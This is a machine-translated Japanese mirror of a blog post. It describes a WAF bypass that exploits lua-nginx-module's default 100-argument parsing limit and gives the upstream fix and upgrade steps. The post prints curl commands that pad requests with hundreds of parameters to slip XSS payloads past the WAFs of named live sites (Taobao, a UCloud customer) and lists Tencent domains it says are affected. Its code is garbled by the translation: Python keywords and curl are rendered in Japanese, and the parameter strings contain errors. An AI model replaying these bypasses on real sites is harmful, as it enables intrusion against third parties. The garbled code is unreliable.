この記事は機械翻訳のミラー記事です。元の記事にジャンプするにはこちらをクリックしてください。

眺める: 16994|答える: 1

[セキュリティ脆弱性] Nginx LuaのWAFアプリケーションファイアウォール脆弱性

[リンクをコピー]
掲載地 2018/04/27 9:23:29 | | | |
ginx Luaがパラメータを取得すると、最初の100個のパラメータ値はデフォルトで取得され、残りは破棄されます。
したがって、Nginx Luaを使用するWAFはデフォルトでバイパスされます。
4月20日、18日に保安員の誰かがすでにこの詳細を開示していたので、この記事233も公開しました。



原理

公式な説明は以下の通りです

最大100個のリクエスト引数がデフォルトで解析され(同名のものも含む)、追加のリクエスト引数は潜在的な発生を防ぐために静かに破棄されることに注意してください サービス拒否攻撃。

最大100のリクエストパラメータ(同名のものも含む)をデフォルトで解析でき、追加のリクエストパラメータはサービス拒否攻撃を防ぐために自動的に削除されます。

Search 100を試しても、おおよそ次の方法でも同じ問題があります。
ngx.req.get_uri_args get のリクエストパラメータを取得します
ngx.req.get_post_args 投稿のリクエストパラメータを取得してください
ngx.req.get_headers リクエストヘッダーを取得します
ngx.decode_args パラメータのURLをデコードします
ngx.resp.get_headers レスポンスヘッダーを取得します
lua-nginx-moduleのソースコードでは、ソースコードがデフォルトの最大リクエストパラメータとヘッダーを100に設定していることがわかります




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

しかし、公式ではデフォルト値を修正する方法が用意されており、例えばngx.req.get_uri_args(200)で最初の200個のリクエストパラメータを取得することができます。

試験

リクエストパラメータが101の場合、最後のリクエストパラメータは取得できません。

カール -V 「http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg」

リクエストパラメータを1つ減らせば、リクエストパラメータがちょうど100になったときに最後のリクエストパラメータが得られます。

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
A: ZBG
わかりました、zbg

デフォルトは実際に100のリクエストパラメータであり、100リクエストパラメータ以降のリクエストパラメータは破棄されます。

上のリターン内容のラフポジションの中央に、最終的なzbgパラメータがすでに出力されているという奇妙な点があります。 私の推測では、出力は順番ではなく、解析の順序はパラメータの提出順に従っているのだと思います。なぜなら、101番目のパラメータ値がzbgの場合、その値は取得できないからです。

パラメータを生成するpythonスクリプトを添付します:

# 著者:ZBG
# メール:zbg@zbg.org
# 日付:2018-04-03

a = ''
範囲(200)のIの場合:
    a = a + 'a{0}={1}&'.format(i+1, i+1)
印刷 a
修繕
もちろん、ソースコード内のパラメータのMAX値を変更することは推奨されません。 どんなに大きな値を設定しても、それは回避されてしまうからです。 メソッドのパラメータに従って設定することが推奨されます。
リクエストパラメータの長さを得て、ngx.req.get_uri_args長さ(lenth)のようなメソッドを使えば十分ではないでしょうか?
ドキュメントを読むと、要求されたパラメータの数を取得できないことが分かりました。 しかし、レンスを0に設定すれば、要求されたすべてのパラメータを取得できます。

この引数は0に設定することで制限を取り除き、受信したすべてのリクエスト引数を処理することができます。
ローカルargs = ngx.req.get_uri_args(0)

しかし、サービス拒否攻撃を防ぐためには、0に設定することは強く推奨されません。

max_argsのキャップを外すことは強く推奨されません。

実は、0に設定するとサービス拒否攻撃が起きる可能性があるのに、リクエストはgetやpostにどれだけパラメータがあってもnginxに届くのか疑問に思っていました。

公式に問題を伝えたところ、作者はngx.req.get_uri_args(0)がサーバーのCPUとメモリ使用量を増やすと言いました。 その後、200個のパラメータをテストし、Nginx+phpを使って200番目のパラメータを取得しました。これはNginxがデフォルトで要求されるパラメータ数を制限しないことを意味します。 問題はNginx Lua自体にあるのかもしれません。Nginx Luaがすべてのパラメータを取得しngx.req.get_uri_args(0)で取得し、それらを繰り返し処理すると、要求されるパラメータが増えるとCPUとメモリを消費し、最終的にはサービス拒否(DoS)に至るまで起こります

2018年4月3日、Bypass007はこのバグ修正に関する問題を正式に提起し、2018年4月21日にこの問題に基づく新機能を追加しました。 この関数のコミットレコードアドレス:https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

関数の説明は以下の通りです:v0.10.13以降のバージョン(v0.10.13を含む)では、リクエスト数の上限が破られた場合、2番目の返却値は切り詰められた文字列となります。
v0.10.13以降、制限を超えると、文字列が「切り詰められた」という2つ目の値を返します。
しかし、オプションのmax_args関数引数を使ってこの制限を上書きすることができます。
ローカルARGS、err = ngx.req.get_uri_args(10)
もし err == 「切り略」なら
     ――ここで現在のリクエストを無視するか拒否するかを選択できます
終わり

そこで、最終的な修正が出ました。

lua-nginx-moduleをv0.10.13以降にアップグレードしてください

次にパラメータの総数を制限します。制限範囲については、個人的には100で十分だと思います

OpenRestyはlua-nginx-moduleモジュールをアップグレードします

OpenRestyのアップグレードモジュールに関する情報は見つからなかったので、自分でlua-nginxモジュールのアップグレード方法を見つけました。

手順は以下の通りです:

対応するlua-nginxモジュールモジュールのバージョンをダウンロードしてください
どうぞ https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
解凍
tar -zxvf v0.10.13
前のlua-nginx-moduleバージョンを削除してください
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
新しいlua-nginx-moduleをコピーしてください
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
コンパイルについては、VeryNginxのコンパイルパラメータを参照してください


ケースバイパス

以下のWAFはNginx Luaを使うべきか確信が持てませんが、パラメータ数の合計でバイパス可能です。

アリWAF

このWAFはAlibaba社内で使用されているWAF、すなわち*.taobao.com などのドメイン名で使われるWAFであり、Alibaba Cloudが販売するクラウドWAFではテストされていません。
まず、POST XSSペイロードを要請して迎撃します。
Curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Fuzzを通じて、パラメータ数を478に増やすとXSSペイロードがインターセプトされなくなり、通常通りウェブサイトにアクセスできることが判明しました。
カール -V -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&a43=43&a44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116=116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153=153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190=190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a2222=223&a224=224&a225=225&a226=226&a227=227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264=264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=277&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=297&a298=298&a299=299&a300=300&a301=301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a335=335&a336=336&a337=337&a338=338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=364&a365=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375=375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412=412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=445&a445=446&a447=447&a448=448&a449=449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=<img src=x onerror=alert(/xss/)>' lu.taobao.com

ウクラウド

テストされたWAFはUCloudが販売しているWAFです。
リクエストパラメータが138に増やされると、ブロックされなくなり、通常通りウェブサイトにアクセスできるようになります。
カール -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&a43=43&a44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116=116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

テンセントWAF

このWAFはTencent社内で使用されているWAF、すなわち*.qq.com などのドメイン名で使われるWAFであり、Tencent Cloudが販売するクラウドWAFではテストされていません。
リクエストパラメータが4000に増加すると、ブロックは解除され、通常通りウェブサイトにアクセスできるようになります。 以下のドメインのランダム検定が影響を受けます。
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

概要

この質問は非常にシンプルで、文書を注意深く読むことでわかります。 でも、なぜ私は気づかなかったのだろう? それでもまだ考えが足りないと思います。
参考文献
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





先の:Photoshopをゼロから学びましょう。初心者から神へ18のレッスン
次に:ルアとルアジットの強みと短所
免責事項:
Code Farmer Networkが発行するすべてのソフトウェア、プログラミング資料、記事は学習および研究目的のみを目的としています。 上記の内容は商業的または違法な目的で使用されてはならず、そうでなければ利用者はすべての結果を負うことになります。 このサイトの情報はインターネットからのものであり、著作権紛争はこのサイトとは関係ありません。 ダウンロード後24時間以内に上記の内容を完全にパソコンから削除してください。 もしこのプログラムを気に入ったら、正規のソフトウェアを支持し、登録を購入し、より良い本物のサービスを受けてください。 もし侵害があれば、メールでご連絡ください。

Mail To:help@itsvse.com